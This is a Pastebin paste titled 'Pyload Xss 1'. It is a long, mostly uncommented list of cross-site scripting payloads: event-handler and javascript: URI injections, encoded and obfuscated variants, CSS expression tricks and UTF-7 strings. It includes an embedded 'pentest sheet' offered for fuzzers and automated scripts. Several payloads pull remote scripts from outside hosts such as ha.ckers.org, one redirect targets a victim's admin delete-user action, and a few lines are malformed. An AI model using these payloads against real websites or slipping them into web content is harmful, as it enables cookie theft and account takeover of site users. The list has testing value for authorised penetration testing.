API tools faq
paste
kakatoji

Pyload Xss 1

kakatoji
Jul 14th, 2017
642
0
Never
Add comment
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 44.52 KB | None | 0 0
raw download clone embed print report
  1.  
  2. "><img src=x onerror=prompt(1)>
  3. [Click here](javascript:alert(1))
  4. "></script><svg/onload=alert("XSS")>
  5. <iframe src="http://businessinfo.co.uk/labs/xss/xss.swf"></iframe>
  6. '|alert('xss')|'
  7. +ADw-script+AD4-alert(document.location)+ADw-/script+AD4-
  8.  
  9. data:text/html;base64,PHNjcmlwdD5hbGVydCgvWFNTUE9TRUQvKTwvc2NyaXB0Pg==#
  10.  
  11. %3C%69%66%72%61%6D%65%20%73%72%63%3D%68%74%74%70%3A%2F%2F%74%65%73%74%2E%64%65%3E
  12. &#x3C;&#x69;&#x66;&#x72;&#x61;&#x6D;&#x65;&#x20;&#x73;&#x72;&#x63;&#x3D;&#x68;&#x74;&#x74;&#x70;&#x3A;&#x2F;&#x2F;&#x74;&#x65;&#x73;&#x74;&#x2E;&#x64;&#x65;&#x3E;
  13.  
  14. &#60&#105&#102&#114&#97&#109&#101&#32&#115&#114&#99&#61&#104&#116&#116&#112&#58&#47&#47&#116&#101&#115&#116&#46&#100&#101&#62
  15.  
  16. PGlmcmFtZSBzcmM9aHR0cDovL3Rlc3QuZGU+
  17.  
  18.  
  19. "><img src=x onclick=prompt(1)>
  20. "><img src=x ondblclick=prompt(1)>
  21. "><img src=x ondrag=prompt(1)>
  22. "><img src=x ondragend=prompt(1)>
  23. "><img src=x ondragenter=prompt(1)>
  24. "><img src=x ondragleave=prompt(1)>
  25. "><img src=x ondragover=prompt(1)>
  26. "><img src=x ondragstart=prompt(1)>
  27. "><img src=x ondrop=prompt(1)>
  28. "><img src=x onmousedown=prompt(1)>
  29. "><img src=x onmousemove=prompt(1)>
  30. "><img src=x onmouseout=prompt(1)>
  31. "><img src=x onmouseover=prompt(1)>
  32. "><img src=x onmouseup=prompt(1)>
  33. "><img src=x onmousewheel=prompt(1)>
  34. "><img src=x onscroll=prompt(1)>
  35. "><img src=x onwheel=prompt(1)>
  36.  
  37.  
  38.  
  39. Her
  40. -----------------------------------------------
  41. “ autofocusonfocus=alert(1)//
  42. “;alert(1)//
  43. ";document.body.addEventListener("DOMActivate",alert(1))//
  44. ";document.body.addEventListener("DOMActivate",prompt(1))//
  45. ";document.body.addEventListener("DOMActivate",confirm(1))//
  46. javascript:alert(1)//
  47. javascript&#00058;alert(1)
  48. javaSCRIPT&colon;alert(1)
  49. JaVaScRipT:alert(1)
  50. javas&Tab;cript:\u0061lert(1);
  51. javascript:\u0061lert&#x28;1&#x29
  52. javascript&#x3A;alert&lpar;document&period;cookie&rpar; // AsharJaved
  53. -alert(1)-
  54. -prompt(1)-
  55. -confirm(1)-
  56.  
  57. Der
  58. ----------------------------------------------------
  59. "><img srx=x onerror=alert(1)>
  60.  
  61. <script>alert(1)</script>
  62.  
  63. <scr<script>ipt>alert(99)</scr<script>ipt>
  64. <a href=”javascript:alert(1)”>Clickme</a>
  65. <img/src=aaa.jpg onerror=prompt(1);>
  66. <video src=x onerror=prompt(1);>
  67. <audio src=x onerror=prompt(1);>
  68. <iframesrc="javascript:alert(2)">
  69. <iframe src="http://businessinfo.co.uk/labs/xss/xss.swf"></iframe>
  70. <iframe/src="data:text&sol;html;&Tab;base64&NewLine;,PGJvZHkgb25sb2FkPWFsZXJ0KDEpPg==">.
  71. <embed/src=//goo.gl/nlX0P>
  72. <form action="Javascript:alert(1)"><input type=submit>
  73. <formaction='data:text&sol;html,&lt;script&gt;alert(1)&lt/script&gt'><button>CLICK
  74. <table background=javascript:alert(1)></table> // Works on Opera 10.5 and IE6
  75. <video poster=javascript:alert(1)//></video> // Works Upto Opera 10.5
  76. <object data="data:text/html;base64,PHNjcmlwdD5hbGVydCgiSGVsbG8iKTs8L3NjcmlwdD4=">
  77. <object/data=//goo.gl/nlX0P?
  78. <isindexformaction="javascript:alert(1)" type=image>
  79. <input type="image" formaction=JaVaScript:alert(0)>
  80. <form><button formaction=javascript&colon;alert(1)>CLICKME
  81. <isindex action="javascript:alert(1)" type=image>
  82. <isindex action=j&Tab;a&Tab;vas&Tab;c&Tab;r&Tab;ipt:alert(1) type=image>
  83. <isindex action=data:text/html, type=image>
  84. <applet code="javascript:confirm(document.cookie);"> // Firefox Only
  85. <embed code="http://businessinfo.co.uk/labs/xss/xss.swf" allowscriptaccess=always>
  86. <svg/onload=prompt(1);>
  87. <marquee/onstart=confirm(2)>/
  88. <body onload=prompt(1);>
  89. <select autofocus onfocus=alert(1)>
  90. <textarea autofocus onfocus=alert(1)>
  91. <keygen autofocus onfocus=alert(1)>
  92. <video><source onerror="javascript:alert(1)">
  93. <marquee<marquee/onstart=confirm(2)>/onstart=confirm(1)>
  94. <body language=vbsonload=alert-1 // Works with IE8
  95. <command onmouseover ="\x6A\x61\x76\x61\x53\x43\x52\x49\x50\x54\x26\x63\x6F\x6C\x6F\x6E\x3B\x63\x6F\x6E\x66\x69\x72\x6D\x26\x6C\x70\x61\x72\x3B\x31\x26\x72\x70\x61\x72\x3B">Save</command> // Works with IE8
  96. <q/oncut=open()>
  97. <q/oncut=alert(1)> // Useful in-case of payload restrictions.
  98. <a onmouseover="javascript:window.onerror=alert;throw 1>
  99. <img src=x onerror="javascript:window.onerror=alert;throw 1">
  100. <body/onload=javascript:window.onerror=eval;throw'=alert\x281\x29';
  101. <img style="xss:expression(alert(0))"> // Works upto IE7.
  102. <div style="color:rgb(''&#0;x:expression(alert(1))"></div> // Works upto IE7.
  103. <style>#test{x:expression(alert(/XSS/))}</style> // Works upto IE7
  104. <a onmouseover=location=’javascript:alert(1)>click
  105. <body onfocus="location='javascrpt:alert(1) >123
  106. <meta http-equiv="refresh" content="0;url=//goo.gl/nlX0P">
  107. <meta http-equiv="refresh" content="0;javascript&colon;alert(1)"/>
  108. <svg xmlns="http://www.w3.org/2000/svg"><g onload="javascript:\u0061lert(1);"></g></svg> // By @secalert
  109. <svg xmlns:xlink="http://www.w3.org/1999/xlink"><a><circle r=100 /><animate attributeName="xlink:href" values=";javascript:alert(1)" begin="0s" dur="0.1s" fill="freeze"/> // By Mario
  110. <svg><![CDATA[><imagexlink:href="]]><img/src=xx:xonerror=alert(2)//"></svg> // By @secalert
  111. <meta content="&NewLine; 1 &NewLine;;JAVASCRIPT&colon; alert(1)" http-equiv="refresh"/>
  112. <math><a xlink:href="//jsfiddle.net/t846h/">click // By Ashar Javed
  113. <svg><script>alert&#40/1/&#41</script> // Works With All Browsers
  114. <svg><script>alert&#40 1&#41 // Works with Opera Only
  115.  
  116.  
  117. ';alert(String.fromCharCode(88,83,83))//';alert(String.fromCharCode(88,83,83))//";
  118. alert(String.fromCharCode(88,83,83))//";alert(String.fromCharCode(88,83,83))//--
  119. ></SCRIPT>">'><SCRIPT>alert(String.fromCharCode(88,83,83))</SCRIPT>
  120.  
  121. '';!--"<XSS>=&{()}
  122.  
  123. <SCRIPT SRC=http://ha.ckers.org/xss.js></SCRIPT>
  124.  
  125. <IMG SRC="javascript:alert('XSS');">
  126.  
  127. <IMG SRC=javascript:alert('XSS')>
  128.  
  129. <IMG SRC=JaVaScRiPt:alert('XSS')>
  130.  
  131. <IMG SRC=`javascript:alert("RSnake says, 'XSS'")`>
  132.  
  133. <IMG """><SCRIPT>alert("XSS")</SCRIPT>">
  134.  
  135. <IMG SRC=javascript:alert(String.fromCharCode(88,83,83))>
  136.  
  137. <IMG SRC=# onmouseover="alert('xxs')">
  138.  
  139. <IMG onmouseover="alert('xxs')">
  140.  
  141. <IMG SRC=/ onerror="alert(String.fromCharCode(88,83,83))"></img>
  142.  
  143. <IMG SRC=&#106;&#97;&#118;&#97;&#115;&#99;&#114;&#105;&#112;&#116;&#58;&#97;&#108;&#101;&#114;&#116;&#40;
  144. &#39;&#88;&#83;&#83;&#39;&#41;>
  145.  
  146. <IMG SRC=&#x6A&#x61&#x76&#x61&#x73&#x63&#x72&#x69&#x70&#x74&#x3A&#x61&#x6C&#x65&#x72&#x74&#x28&#x27&#x58&#x53&#x53&#x27&#x29>
  147.  
  148. <IMG SRC="jav&#x09;ascript:alert('XSS');">
  149.  
  150. <IMG SRC="jav&#x0A;ascript:alert('XSS');">
  151.  
  152. <IMG SRC="jav&#x0D;ascript:alert('XSS');">
  153.  
  154. <IMG SRC=" &#14; javascript:alert('XSS');">
  155.  
  156. <SCRIPT/XSS SRC="http://ha.ckers.org/xss.js"></SCRIPT>
  157.  
  158. <BODY onload!#$%&()*~+-_.,:;?@[/|\]^`=alert("XSS")>
  159.  
  160. <SCRIPT/SRC="http://ha.ckers.org/xss.js"></SCRIPT>
  161.  
  162. <<SCRIPT>alert("XSS");//<</SCRIPT>
  163.  
  164. <SCRIPT SRC=http://ha.ckers.org/xss.js?< B >
  165.  
  166. <SCRIPT SRC=//ha.ckers.org/.j>
  167.  
  168. <IMG SRC="javascript:alert('XSS')"
  169.  
  170. <iframe src=http://ha.ckers.org/scriptlet.html <
  171.  
  172. \";alert('XSS');//
  173.  
  174. </TITLE><SCRIPT>alert("XSS");</SCRIPT>
  175.  
  176. <INPUT TYPE="IMAGE" SRC="javascript:alert('XSS');">
  177.  
  178. <BODY BACKGROUND="javascript:alert('XSS')">
  179.  
  180. <IMG DYNSRC="javascript:alert('XSS')">
  181.  
  182. <IMG LOWSRC="javascript:alert('XSS')">
  183.  
  184. <STYLE>li {list-style-image: url("javascript:alert('XSS')");}</STYLE><UL><LI>XSS</br>
  185.  
  186. <IMG SRC="livescript:[code]">
  187.  
  188. <BODY ONLOAD=alert('XSS')>
  189.  
  190. <BGSOUND SRC="javascript:alert('XSS');">
  191.  
  192. <BR SIZE="&{alert('XSS')}">
  193.  
  194. <LINK REL="stylesheet" HREF="javascript:alert('XSS');">
  195.  
  196. <LINK REL="stylesheet" HREF="http://ha.ckers.org/xss.css">
  197.  
  198. <STYLE>@import'http://ha.ckers.org/xss.css';</STYLE>
  199.  
  200. <META HTTP-EQUIV="Link" Content="<http://ha.ckers.org/xss.css>; REL=stylesheet">
  201.  
  202. <STYLE>BODY{-moz-binding:url("http://ha.ckers.org/xssmoz.xml#xss")}</STYLE>
  203.  
  204. <STYLE>@im\port'\ja\vasc\ript:alert("XSS")';</STYLE>
  205.  
  206. <IMG STYLE="xss:expr/*XSS*/ession(alert('XSS'))">
  207.  
  208. exp/*<A STYLE='no\xss:noxss("*//*");
  209. xss:ex/*XSS*//*/*/pression(alert("XSS"))'>
  210.  
  211. <STYLE TYPE="text/javascript">alert('XSS');</STYLE>
  212.  
  213. <STYLE>.XSS{background-image:url("javascript:alert('XSS')");}</STYLE><A CLASS=XSS></A>
  214.  
  215. <STYLE type="text/css">BODY{background:url("javascript:alert('XSS')")}</STYLE>
  216.  
  217. <XSS STYLE="xss:expression(alert('XSS'))">
  218.  
  219. <XSS STYLE="behavior: url(xss.htc);">
  220.  
  221. ¼script¾alert(¢XSS¢)¼/script¾
  222.  
  223. <META HTTP-EQUIV="refresh" CONTENT="0;url=javascript:alert('XSS');">
  224.  
  225. <META HTTP-EQUIV="refresh" CONTENT="0;url=data:text/html base64,PHNjcmlwdD5hbGVydCgnWFNTJyk8L3NjcmlwdD4K">
  226.  
  227. <META HTTP-EQUIV="refresh" CONTENT="0; URL=http://;URL=javascript:alert('XSS');">
  228.  
  229. <IFRAME SRC="javascript:alert('XSS');"></IFRAME>
  230.  
  231. <IFRAME SRC=# onmouseover="alert(document.cookie)"></IFRAME>
  232.  
  233. <FRAMESET><FRAME SRC="javascript:alert('XSS');"></FRAMESET>
  234.  
  235. <TABLE BACKGROUND="javascript:alert('XSS')">
  236.  
  237. <TABLE><TD BACKGROUND="javascript:alert('XSS')">
  238.  
  239. <DIV STYLE="background-image: url(javascript:alert('XSS'))">
  240.  
  241. <DIV STYLE="background-image:\0075\0072\006C\0028'\006a\0061\0076\0061\0073\0063\0072\0069\0070\0074\003a\0061\006c\0065\0072\0074\0028.1027\0058.1053\0053\0027\0029'\0029">
  242.  
  243. <DIV STYLE="background-image: url(&#1;javascript:alert('XSS'))">
  244.  
  245. <DIV STYLE="width: expression(alert('XSS'));">
  246.  
  247. <!--[if gte IE 4]>
  248. <SCRIPT>alert('XSS');</SCRIPT>
  249. <![endif]-->
  250.  
  251. <BASE HREF="javascript:alert('XSS');//">
  252.  
  253. <OBJECT TYPE="text/x-scriptlet" DATA="http://ha.ckers.org/scriptlet.html"></OBJECT>
  254.  
  255. EMBED SRC="http://ha.ckers.Using an EMBED tag you can embed a Flash movie that contains XSS. Click here for a demo. If you add the attributes allowScriptAccess="never" and allownetworking="internal" it can mitigate this risk (thank you to Jonathan Vanasco for the info).:
  256. org/xss.swf" AllowScriptAccess="always"></EMBED>
  257.  
  258. <EMBED SRC="data:image/svg+xml;base64,PHN2ZyB4bWxuczpzdmc9Imh0dH A6Ly93d3cudzMub3JnLzIwMDAvc3ZnIiB4bWxucz0iaHR0cDovL3d3dy53My5vcmcv MjAwMC9zdmciIHhtbG5zOnhsaW5rPSJodHRwOi8vd3d3LnczLm9yZy8xOTk5L3hs aW5rIiB2ZXJzaW9uPSIxLjAiIHg9IjAiIHk9IjAiIHdpZHRoPSIxOTQiIGhlaWdodD0iMjAw IiBpZD0ieHNzIj48c2NyaXB0IHR5cGU9InRleHQvZWNtYXNjcmlwdCI+YWxlcnQoIlh TUyIpOzwvc2NyaXB0Pjwvc3ZnPg==" type="image/svg+xml" AllowScriptAccess="always"></EMBED>
  259.  
  260. a="get";
  261. b="URL(\"";
  262. c="javascript:";
  263. d="alert('XSS');\")";
  264. eval(a+b+c+d);
  265.  
  266. <XML ID="xss"><I><B><IMG SRC="javas<!-- -->cript:alert('XSS')"></B></I></XML>
  267. <SPAN DATASRC="#xss" DATAFLD="B" DATAFORMATAS="HTML"></SPAN>
  268.  
  269. <XML SRC="xsstest.xml" ID=I></XML>
  270. <SPAN DATASRC=#I DATAFLD=C DATAFORMATAS=HTML></SPAN>
  271.  
  272. <HTML><BODY>
  273. <?xml:namespace prefix="t" ns="urn:schemas-microsoft-com:time">
  274. <?import namespace="t" implementation="#default#time2">
  275. <t:set attributeName="innerHTML" to="XSS<SCRIPT DEFER>alert("XSS")</SCRIPT>">
  276. </BODY></HTML>
  277.  
  278. <SCRIPT SRC="http://ha.ckers.org/xss.jpg"></SCRIPT>
  279.  
  280. <!--#exec cmd="/bin/echo '<SCR'"--><!--#exec cmd="/bin/echo 'IPT SRC=http://ha.ckers.org/xss.js></SCRIPT>'"-->
  281.  
  282.  
  283. <? echo('<SCR)';
  284. echo('IPT>alert("XSS")</SCRIPT>'); ?>
  285.  
  286. <IMG SRC="http://www.thesiteyouareon.com/somecommand.php?somevariables=maliciouscode">
  287.  
  288.  
  289. Redirect 302 /a.jpg http://victimsite.com/admin.asp&deleteuser
  290.  
  291. <META HTTP-EQUIV="Set-Cookie" Content="USERID=<SCRIPT>alert('XSS')</SCRIPT>">
  292.  
  293. <HEAD><META HTTP-EQUIV="CONTENT-TYPE" CONTENT="text/html; charset=UTF-7"> </HEAD>+ADw-SCRIPT+AD4-alert('XSS');+ADw-/SCRIPT+AD4-
  294.  
  295. <SCRIPT a=">" SRC="http://ha.ckers.org/xss.js"></SCRIPT>
  296.  
  297. <SCRIPT =">" SRC="http://ha.ckers.org/xss.js"></SCRIPT>
  298.  
  299. <SCRIPT a=">" '' SRC="http://ha.ckers.org/xss.js"></SCRIPT>
  300.  
  301. <SCRIPT "a='>'" SRC="http://ha.ckers.org/xss.js"></SCRIPT>
  302.  
  303. <SCRIPT a=`>` SRC="http://ha.ckers.org/xss.js"></SCRIPT>
  304.  
  305. <SCRIPT a=">'>" SRC="http://ha.ckers.org/xss.js"></SCRIPT>
  306.  
  307. <SCRIPT>document.write("<SCRI");</SCRIPT>PT SRC="http://ha.ckers.org/xss.js"></SCRIPT>
  308.  
  309. <A HREF="http://66.102.7.147/">XSS</A>
  310.  
  311. <A HREF="http://%77%77%77%2E%67%6F%6F%67%6C%65%2E%63%6F%6D">XSS</A>
  312.  
  313. <A HREF="http://1113982867/">XSS</A>
  314.  
  315. <A HREF="http://0x42.0x0000066.0x7.0x93/">XSS</A>
  316.  
  317. <A HREF="http://0102.0146.0007.00000223/">XSS</A>
  318.  
  319. <A HREF="h
  320. tt p://6 6.000146.0x7.147/">XSS</A>
  321.  
  322. <A HREF="//www.google.com/">XSS</A>
  323.  
  324. <A HREF="//google">XSS</A>
  325.  
  326. <A HREF="http://ha.ckers.org@google">XSS</A>
  327.  
  328. <A HREF="http://google:ha.ckers.org">XSS</A>
  329.  
  330. <A HREF="http://google.com/">XSS</A>
  331.  
  332. _________ _________.__ __ _________ .__ __ .__
  333. \_ ___ \_______ ____ ______ ______ / _____/|__|/ |_ ____ / _____/ ___________|__|______/ |_|__| ____ ____
  334. / \ \/\_ __ \/ _ \/ ___// ___/ \_____ \ | \ __\/ __ \ \_____ \_/ ___\_ __ \ \____ \ __\ |/ \ / ___\
  335. \ \____| | \( <_> )___ \ \___ \ / \| || | \ ___/ / \ \___| | \/ | |_> > | | | | \/ /_/ >
  336. \______ /|__| \____/____ >____ > /_______ /|__||__| \___ > /_______ /\___ >__| |__| __/|__| |__|___| /\___ /
  337. \/ \/ \/ \/ \/ \/ \/ |__| \//_____/
  338.  
  339. Information:
  340. A lot of people asked us regarding our cross site scripting pentest sheet for a fuzzer or own scripts. To have
  341. some good results you can use the following list with automatic scripts, software or for manually pentesting. This
  342. list goes out to all friends, nerds, pentester & exploiters. Please continue the List and we will update it soon.
  343.  
  344. Note: This is a technical attack sheet for cross site penetrationtests.
  345.  
  346.  
  347.  
  348. Cross Site Scripting Strings with TAG:
  349.  
  350. <meta http-equiv="refresh" content="0;url=javascript:document.cookie=true;">
  351. <META HTTP-EQUIV="Set-Cookie" Content="USERID=<SCRIPT>document.cookie=true</SCRIPT>">
  352. <SCRIPT>document.cookie=true;</SCRIPT>
  353. <IMG SRC="jav ascript:document.cookie=true;">
  354. <IMG SRC="javascript:document.cookie=true;">
  355. <IMG SRC=" &#14; javascript:document.cookie=true;">
  356. <BODY onload!#$%&()*~+-_.,:;?@[/|\]^`=document.cookie=true;>
  357. <SCRIPT>document.cookie=true;//<</SCRIPT>
  358. <SCRIPT <B>document.cookie=true;</SCRIPT>
  359. <IMG SRC="javascript:document.cookie=true;">
  360. <iframe src="javascript:document.cookie=true;>
  361. <SCRIPT>a=/CrossSiteScripting/\ndocument.cookie=true;</SCRIPT>
  362. </TITLE><SCRIPT>document.cookie=true;</SCRIPT>
  363. <INPUT TYPE="IMAGE" SRC="javascript:document.cookie=true;">
  364. <BODY BACKGROUND="javascript:document.cookie=true;">
  365. <BODY ONLOAD=document.cookie=true;>
  366. <IMG DYNSRC="javascript:document.cookie=true;">
  367. <IMG LOWSRC="javascript:document.cookie=true;">
  368. <BGSOUND SRC="javascript:document.cookie=true;">
  369. <BR SIZE="&{document.cookie=true}">
  370. <LAYER SRC="javascript:document.cookie=true;"></LAYER>
  371. <LINK REL="stylesheet" HREF="javascript:document.cookie=true;">
  372. <STYLE>li {list-style-image: url("javascript:document.cookie=true;");</STYLE><UL><LI>CrossSiteScripting
  373. ¼script¾document.cookie=true;¼/script¾
  374. <IFRAME SRC="javascript:document.cookie=true;"></IFRAME>
  375. <FRAMESET><FRAME SRC="javascript:document.cookie=true;"></FRAMESET>
  376. <TABLE BACKGROUND="javascript:document.cookie=true;">
  377. <TABLE><TD BACKGROUND="javascript:document.cookie=true;">
  378. <DIV STYLE="background-image: url(javascript:document.cookie=true;)">
  379. <DIV STYLE="background-image: url(&#1;javascript:document.cookie=true;)">
  380. <DIV STYLE="width: expression(document.cookie=true);">
  381. <STYLE>@im\port'\ja\vasc\ript:document.cookie=true';</STYLE>
  382. <IMG STYLE="CrossSiteScripting:expr/*CrossSiteScripting*/ession(document.cookie=true)">
  383. <CrossSiteScripting STYLE="CrossSiteScripting:expression(document.cookie=true)">
  384. exp/*<A STYLE='no\CrossSiteScripting:noCrossSiteScripting("*//*");CrossSiteScripting:ex/*CrossSiteScripting*//*/*/pression(document.cookie=true)'>
  385. <STYLE TYPE="text/javascript">document.cookie=true;</STYLE>
  386. <STYLE>.CrossSiteScripting{background-image:url("javascript:document.cookie=true");}</STYLE><A CLASS=CrossSiteScripting></A>
  387. <STYLE type="text/css">BODY{background:url("javascript:document.cookie=true")}</STYLE>
  388. <SCRIPT>document.cookie=true;</SCRIPT>
  389. <BASE HREF="javascript:document.cookie=true;//">
  390. <OBJECT classid=clsid:ae24fdae-03c6-11d1-8b76-0080c744f389><param name=url value=javascript:document.cookie=true></OBJECT>
  391. <XML ID=I><X><C><![CDATA[<IMG SRC="javas]]<![CDATA[cript:document.cookie=true;">]]</C></X></xml><SPAN DATASRC=#I DATAFLD=C DATAFORMATAS=HTML></SPAN>
  392. <XML ID="CrossSiteScripting"><I><B><IMG SRC="javas<!-- -->cript:document.cookie=true"></B></I></XML><SPAN DATASRC="#CrossSiteScripting" DATAFLD="B" DATAFORMATAS="HTML"></SPAN>
  393. <HTML><BODY><?xml:namespace prefix="t" ns="urn:schemas-microsoft-com:time"><?import namespace="t" implementation="#default#time2"><t:set attributeName="innerHTML" to="CrossSiteScripting<SCRIPT DEFER>document.cookie=true</SCRIPT>"></BODY></HTML>
  394. <? echo('<SCR)';echo('IPT>document.cookie=true</SCRIPT>'); ?>
  395. <HEAD><META HTTP-EQUIV="CONTENT-TYPE" CONTENT="text/html; charset=UTF-7"> </HEAD>+ADw-SCRIPT+AD4-document.cookie=true;+ADw-/SCRIPT+AD4-
  396. <a href="javascript#document.cookie=true;">
  397. <div onmouseover="document.cookie=true;">
  398. <img src="javascript:document.cookie=true;">
  399. <img dynsrc="javascript:document.cookie=true;">
  400. <input type="image" dynsrc="javascript:document.cookie=true;">
  401. <bgsound src="javascript:document.cookie=true;">
  402. &<script>document.cookie=true;</script>
  403. &{document.cookie=true;};
  404. <img src=&{document.cookie=true;};>
  405. <link rel="stylesheet" href="javascript:document.cookie=true;">
  406. <img src="mocha:document.cookie=true;">
  407. <img src="livescript:document.cookie=true;">
  408. <a href="about:<script>document.cookie=true;</script>">
  409. <body onload="document.cookie=true;">
  410. <div style="background-image: url(javascript:document.cookie=true;);">
  411. <div style="behaviour: url([link to code]);">
  412. <div style="binding: url([link to code]);">
  413. <div style="width: expression(document.cookie=true;);">
  414. <style type="text/javascript">document.cookie=true;</style>
  415. <object classid="clsid:..." codebase="javascript:document.cookie=true;">
  416. <style><!--</style><script>document.cookie=true;//--></script>
  417. <<script>document.cookie=true;</script>
  418. <script>document.cookie=true;//--></script>
  419. <!-- -- --><script>document.cookie=true;</script><!-- -- -->
  420. <img src="blah"onmouseover="document.cookie=true;">
  421. <img src="blah>" onmouseover="document.cookie=true;">
  422. <xml src="javascript:document.cookie=true;">
  423. <xml id="X"><a><b><script>document.cookie=true;</script>;</b></a></xml>
  424. <div datafld="b" dataformatas="html" datasrc="#X"></div> ]]> [\xC0][\xBC]script>document.cookie=true;[\xC0][\xBC]/script>
  425.  
  426.  
  427.  
  428. Cross Site Scripting Strings with close TAG:
  429.  
  430. >"<meta http-equiv="refresh" content="0;url=javascript:document.cookie=true;">
  431. >"<META HTTP-EQUIV="Set-Cookie" Content="USERID=<SCRIPT>document.cookie=true</SCRIPT>">
  432. >"<SCRIPT>document.cookie=true;</SCRIPT>
  433. >"<IMG SRC="jav ascript:document.cookie=true;">
  434. >"<IMG SRC="javascript:document.cookie=true;">
  435. >"<IMG SRC=" &#14; javascript:document.cookie=true;">
  436. >"<BODY onload!#$%&()*~+-_.,:;?@[/|\]^`=document.cookie=true;>
  437. >"<SCRIPT>document.cookie=true;//<</SCRIPT>
  438. >"<SCRIPT <B>document.cookie=true;</SCRIPT>
  439. >"<IMG SRC="javascript:document.cookie=true;">
  440. >"<iframe src="javascript:document.cookie=true;>
  441. >"<SCRIPT>a=/CrossSiteScripting/\ndocument.cookie=true;</SCRIPT>
  442. >"</TITLE><SCRIPT>document.cookie=true;</SCRIPT>
  443. >"<INPUT TYPE="IMAGE" SRC="javascript:document.cookie=true;">
  444. >"<BODY BACKGROUND="javascript:document.cookie=true;">
  445. >"<BODY ONLOAD=document.cookie=true;>
  446. >"<IMG DYNSRC="javascript:document.cookie=true;">
  447. >"<IMG LOWSRC="javascript:document.cookie=true;">
  448. >"<BGSOUND SRC="javascript:document.cookie=true;">
  449. >"<BR SIZE="&{document.cookie=true}">
  450. >"<LAYER SRC="javascript:document.cookie=true;"></LAYER>
  451. >"<LINK REL="stylesheet" HREF="javascript:document.cookie=true;">
  452. >"<STYLE>li {list-style-image: url("javascript:document.cookie=true;");</STYLE><UL><LI>CrossSiteScripting
  453. >"¼script¾document.cookie=true;¼/script¾
  454. >"<IFRAME SRC="javascript:document.cookie=true;"></IFRAME>
  455. >"<FRAMESET><FRAME SRC="javascript:document.cookie=true;"></FRAMESET>
  456. >"<TABLE BACKGROUND="javascript:document.cookie=true;">
  457. >"<TABLE><TD BACKGROUND="javascript:document.cookie=true;">
  458. >"<DIV STYLE="background-image: url(javascript:document.cookie=true;)">
  459. >"<DIV STYLE="background-image: url(&#1;javascript:document.cookie=true;)">
  460. >"<DIV STYLE="width: expression(document.cookie=true);">
  461. >"<STYLE>@im\port'\ja\vasc\ript:document.cookie=true';</STYLE>
  462. >"<IMG STYLE="CrossSiteScripting:expr/*CrossSiteScripting*/ession(document.cookie=true)">
  463. >"<CrossSiteScripting STYLE="CrossSiteScripting:expression(document.cookie=true)">
  464. >"exp/*<A STYLE='no\CrossSiteScripting:noCrossSiteScripting("*//*");CrossSiteScripting:ex/*CrossSiteScripting*//*/*/pression(document.cookie=true)'>
  465. >"<STYLE TYPE="text/javascript">document.cookie=true;</STYLE>
  466. >"<STYLE>.CrossSiteScripting{background-image:url("javascript:document.cookie=true");}</STYLE><A CLASS=CrossSiteScripting></A>
  467. >"<STYLE type="text/css">BODY{background:url("javascript:document.cookie=true")}</STYLE>
  468. >"<SCRIPT>document.cookie=true;</SCRIPT>
  469. >"<BASE HREF="javascript:document.cookie=true;//">
  470. >"<OBJECT classid=clsid:ae24fdae-03c6-11d1-8b76-0080c744f389><param name=url value=javascript:document.cookie=true></OBJECT>
  471. >"<XML ID=I><X><C><![CDATA[<IMG SRC="javas]]<![CDATA[cript:document.cookie=true;">]]</C></X></xml><SPAN DATASRC=#I DATAFLD=C DATAFORMATAS=HTML></SPAN>
  472. >"<XML ID="CrossSiteScripting"><I><B><IMG SRC="javas<!-- -->cript:document.cookie=true"></B></I></XML><SPAN DATASRC="#CrossSiteScripting" DATAFLD="B" DATAFORMATAS="HTML"></SPAN>
  473. >"<HTML><BODY><?xml:namespace prefix="t" ns="urn:schemas-microsoft-com:time"><?import namespace="t" implementation="#default#time2"><t:set attributeName="innerHTML" to="CrossSiteScripting<SCRIPT DEFER>document.cookie=true</SCRIPT>"></BODY></HTML>
  474. >"<? echo('<SCR)';echo('IPT>document.cookie=true</SCRIPT>'); ?>
  475. >"<HEAD><META HTTP-EQUIV="CONTENT-TYPE" CONTENT="text/html; charset=UTF-7"> </HEAD>+ADw-SCRIPT+AD4-document.cookie=true;+ADw-/SCRIPT+AD4-
  476. >"<a href="javascript#document.cookie=true;">
  477. >"<div onmouseover="document.cookie=true;">
  478. >"<img src="javascript:document.cookie=true;">
  479. >"<img dynsrc="javascript:document.cookie=true;">
  480. >"<input type="image" dynsrc="javascript:document.cookie=true;">
  481. >"<bgsound src="javascript:document.cookie=true;">
  482. >"&<script>document.cookie=true;</script>
  483. >"&{document.cookie=true;};
  484. >"<img src=&{document.cookie=true;};>
  485. >"<link rel="stylesheet" href="javascript:document.cookie=true;">
  486. >"<img src="mocha:document.cookie=true;">
  487. >"<img src="livescript:document.cookie=true;">
  488. >"<a href="about:<script>document.cookie=true;</script>">
  489. >"<body onload="document.cookie=true;">
  490. >"<div style="background-image: url(javascript:document.cookie=true;);">
  491. >"<div style="behaviour: url([link to code]);">
  492. >"<div style="binding: url([link to code]);">
  493. >"<div style="width: expression(document.cookie=true;);">
  494. >"<style type="text/javascript">document.cookie=true;</style>
  495. >"<object classid="clsid:..." codebase="javascript:document.cookie=true;">
  496. >"<style><!--</style><script>document.cookie=true;//--></script>
  497. >"<<script>document.cookie=true;</script>
  498. >"<script>document.cookie=true;//--></script>
  499. >"<!-- -- --><script>document.cookie=true;</script><!-- -- -->
  500. >"<img src="blah"onmouseover="document.cookie=true;">
  501. >"<img src="blah>" onmouseover="document.cookie=true;">
  502. >"<xml src="javascript:document.cookie=true;">
  503. >"<xml id="X"><a><b><script>document.cookie=true;</script>;</b></a></xml>
  504. >"<div datafld="b" dataformatas="html" datasrc="#X"></div> ]]> [\xC0][\xBC]script>document.cookie=true;[\xC0][\xBC]/script>
  505.  
  506.  
  507.  
  508. Cross Site Scripting Strings with negative value & TAG:
  509. -1<meta http-equiv="refresh" content="0;url=javascript:document.cookie=true;">
  510. -1<META HTTP-EQUIV="Set-Cookie" Content="USERID=<SCRIPT>document.cookie=true</SCRIPT>">
  511. -1<SCRIPT>document.cookie=true;</SCRIPT>
  512. -1<IMG SRC="jav ascript:document.cookie=true;">
  513. -1<IMG SRC="javascript:document.cookie=true;">
  514. -1<IMG SRC=" &#14; javascript:document.cookie=true;">
  515. -1<BODY onload!#$%&()*~+-_.,:;?@[/|\]^`=document.cookie=true;>
  516. -1<SCRIPT>document.cookie=true;//<</SCRIPT>
  517. -1<SCRIPT <B>document.cookie=true;</SCRIPT>
  518. -1<IMG SRC="javascript:document.cookie=true;">
  519. -1<iframe src="javascript:document.cookie=true;>
